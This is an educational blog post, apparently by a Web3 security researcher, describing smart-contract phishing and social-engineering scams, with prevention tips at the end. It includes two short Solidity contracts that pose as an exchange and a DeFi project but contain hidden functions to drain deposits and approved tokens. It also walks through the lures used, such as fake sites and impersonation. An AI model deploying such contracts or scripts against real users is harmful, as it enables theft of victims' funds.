Phishing and Social Engineering Attacks
smart contracts
An overview and walkthrough of how phishing and social engineering attacks can be conducted using smart contracts, along with examples to illustrate the concepts.
Overview
Phishing and social engineering are types of cyberattacks that exploit human psychology rather than technical vulnerabilities. In the context of smart contracts and blockchain technology, these attacks can be particularly sophisticated and difficult to detect.
Phishing: This involves tricking individuals into revealing sensitive information, such as private keys or login credentials, by masquerading as a trustworthy entity.
Social Engineering: This involves manipulating individuals into performing actions or divulging confidential information. This can include tactics like impersonation, pretexting, and baiting.
Phishing with Smart Contracts
Phishing attacks using smart contracts often involve creating malicious contracts that appear legitimate. Here’s an example of how such an attack might be conducted:
Creation of a Malicious Smart Contract: The attacker creates a smart contract that mimics a well-known and trusted contract. This contract might offer some attractive features like high returns on investments.
Distribution of Malicious Links: The attacker distributes links to the malicious contract through email, social media, or fake websites.
User Interaction: Unsuspecting users interact with the malicious contract, believing it to be legitimate. They might approve token transfers or send cryptocurrency to the contract.
Theft of Funds: The malicious contract is designed to steal funds or data from the user.
Example Walkthrough
- Malicious Smart Contract Code:
// This contract appears to be a legitimate token exchange
pragma solidity ^0.8.13;
contract FakeExchange {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) public {
require(balances[msg.sender] >= amount, "Insufficient balance");
payable(msg.sender).transfer(amount);
balances[msg.sender] -= amount;
}
// A hidden function that steals funds
function stealFunds() public {
payable(msg.sender).transfer(address(this).balance);
}
}
Phishing Website: The attacker sets up a fake website that looks like a popular decentralized exchange. Users are prompted to connect their wallets and interact with the fake contract.
Social Engineering: The attacker might use social media to spread the word about a "new, high-yield investment opportunity" or send emails pretending to be from the legitimate exchange.
Social Engineering with Smart Contracts
Social engineering attacks might involve more direct manipulation of users. Here’s a scenario:
Impersonation: An attacker impersonates a well-known figure in the crypto community and gains the trust of the victim.
Malicious Smart Contract: The attacker convinces the victim to interact with a smart contract that seems beneficial (e.g., a new DeFi project).
Approval of Token Transfers: The malicious contract asks for permission to manage the user's tokens. The victim, trusting the attacker, approves this.
Theft of Tokens: The attacker now has the ability to transfer tokens from the victim’s wallet.
Example Walkthrough
- Malicious Smart Contract Code:
// This contract requests token transfer approval
pragma solidity ^0.8.13;
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract FakeDeFi {
IERC20 public token;
constructor(IERC20 _token) {
token = _token;
}
function invest(uint256 amount) public {
// User approves this contract to manage their tokens
token.transferFrom(msg.sender, address(this), amount);
}
// A hidden function to steal approved tokens
function stealTokens(address victim, uint256 amount) public {
token.transferFrom(victim, msg.sender, amount);
}
}
Social Engineering: The attacker uses social media or direct messages to build a relationship with the victim and convince them to invest in the fake DeFi project.
Token Approval: The victim approves the contract to transfer their tokens, thinking they are investing.
Theft: The attacker uses the hidden function to transfer tokens from the victim’s wallet.
Preventing Phishing and Social Engineering Attacks
Awareness and Education: Users should be aware of the common tactics used in phishing and social engineering attacks.
Verify Smart Contracts: Always verify the source and code of smart contracts before interacting with them. Use trusted platforms and audit services.
Secure Communication: Be cautious of unsolicited messages and verify the identity of individuals before trusting them.
Limit Permissions: Grant minimal permissions to smart contracts and regularly review and revoke unnecessary approvals.
By understanding these attack vectors and implementing robust security measures, users can significantly reduce the risk of falling victim to phishing and social engineering attacks in the blockchain space.
Subscribe to my newsletter
Read articles from Magda Jankowska directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
Magda Jankowska
Magda Jankowska
Security Researcher for Web3 and Dark Web Bug hunter Ethical Hacker